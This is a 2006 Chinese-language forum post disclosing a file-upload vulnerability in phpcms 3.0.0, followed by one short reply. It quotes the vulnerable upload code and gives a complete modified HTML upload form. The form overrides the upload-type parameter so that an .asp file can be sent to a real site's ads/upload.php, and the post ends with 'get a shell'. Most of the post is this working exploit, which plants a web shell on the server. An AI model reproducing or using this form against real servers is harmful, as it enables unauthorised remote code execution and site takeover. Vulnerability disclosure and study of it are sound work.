服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2006-12-26 21:57:17

phpcms 3.0.0文件上传漏洞

<P>漏洞文件: ads/upload.php、uppic.php<BR><BR>代码如下: </P>
<DIV>require PHPCMS_ROOT."/class/upload.php";<BR><BR>if(!$_userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");<BR><BR>if($extid==1) {<BR>$upfile_type= "jpg|png|gif";<BR>} elseif ($extid==2) {<BR>$upfile_type= "swf";<BR>}<BR><BR>if($action=='upload')<BR>{<BR>&nbsp;$fileArr = array(<BR>&nbsp;'file'=&gt;$uploadfile,<BR>&nbsp;'name'=&gt;$uploadfile_name,<BR>&nbsp;'size'=&gt;$uploadfile_size,<BR>&nbsp;'type'=&gt;$uploadfile_type<BR>&nbsp;);<BR><BR>&nbsp;$showname= $fileArr['name'];<BR>&nbsp;$tmpext=strtolower(fileext($showname));<BR>&nbsp;$tmpfilesize=$fileArr['size'];<BR>&nbsp;$savepath = 'ads/'.$upfile_dir.'/'.date('Ym');<BR>&nbsp;$f-&gt;create(PHPCMS_ROOT."/".$savepath);<BR>&nbsp;$up = new upload($fileArr,'',$savepath,$upfile_type,1,$upfile_size);<BR>&nbsp;...........</DIV><BR>很显然,upfile_type变量过滤不够严格,可以自定义上传类型,实践得知可以上传除*.php和*.php3的其它任意后缀的文件,<BR>因为PHPCMS_ROOT."/class/upload.php"这个文件经过Zend加密,所以无法直接分析。
<DIV><BR>$_userid是靠session获取的,所以注册个用户,登录后,开始利用漏洞,修改后的上传页面如下<BR>
<DIV>&lt;head&gt;<BR>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<BR>&lt;title&gt;上传&lt;/title&gt;<BR>&lt;meta name="keywords" content=""&gt;<BR>&lt;meta name="description" content=""&gt;<BR>&lt;meta name="generator" content="Phpcms "&gt;<BR>&lt;link href="/templates/default/skins/default/style.css" rel="stylesheet" type="text/css"&gt;<BR>&lt;/head&gt;<BR><BR>&lt;body&gt;<BR>&lt;script language="&#106avascript" type="text/&#106avascript"&gt;<BR>&lt;!--<BR>function checkform()<BR>{<BR>if(document.getElementById("uploadfile").value=='') { alert("请选择要上传的文件!"); return false;}<BR>}<BR>//--&gt;<BR>&lt;/script&gt;<BR>&lt;table cellpadding="0" cellspacing="0" border="0" width="100%" height="5"&gt;<BR>&lt;tr&gt;<BR><BR>&nbsp;&lt;td &gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;form name="upload" method="post"<BR>action="http://www.phpcms.cn/ads/upload.php?action=upload&amp;url=&amp;upfile_type=asp" enctype="multipart/form-data" onSubmit="return checkform();"&gt;<BR>&lt;table cellpadding="2" cellspacing="1" class="tableborder"&gt;<BR>&lt;tr&gt;<BR>&lt;th&gt;文件上传&lt;/th&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td class="tablerow" height="30"&gt;<BR>选择:&lt;input name="uploadfile" type="file" id="uploadfile" size="20" /&gt;<BR><BR>&lt;input type="hidden" name="MAX_FILE_SIZE" value="" /&gt;<BR>&lt;input type="hidden" name="channelid" value="0" /&gt;<BR>&lt;input type="submit" name="submit" value=" 上传 "&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;/form&gt;<BR><BR>&lt;/body&gt;<BR>&lt;/html&gt;</DIV><BR>现在可以上传asp文件了,用登录后的窗口打开这个文件(保存session),上传的文件名后缀跟form表单里action属性的upfile_type变量是一样的,上传后返回页面源代码如下:
<DIV>&nbsp;var ctl_hurl=window.opener.document.getElementById("");<BR>&nbsp;var ctl_upbutten=window.opener.document.getElementById("upload");<BR>&nbsp;ctl_hurl.value="ads/uploadfile/200612/20061206054522605.asp";<BR>&nbsp;ctl_hurl.style.background="white";<BR>&nbsp;self.close();<BR>&nbsp;&lt;/script&gt;</DIV><BR>Okay, get a shell<BR><BR>还有uppic.php也有同样漏洞,漏洞代码如下
<DIV>&nbsp;$fileArr = array('file'=&gt;$uploadfile,'name'=&gt;$uploadfile_name,'size'=&gt;$uploadfile_size,'type'=&gt;$uploadfile_type);<BR>&nbsp;<BR>&nbsp;$uploadfiletype = $uploadfiletype ? $uploadfiletype : $_PHPCMS['uploadfiletype'];<BR>&nbsp;$savepath = $uploaddir ? $channeldir."/".$uploaddir."/".date("Ym")."/" : $_PHPCMS['uploaddir']."/".date("Ym")."/";</DIV>利用原理一样................... -:)</DIV>

洗涤过的回忆 发表于 2006-5-15 19:10:50

re:phpcms 3.0.0文件上传漏洞

<P>海哥``我跟你学`````我的QQ240082713</P>
页: [1]
查看完整版本: phpcms 3.0.0文件上传漏洞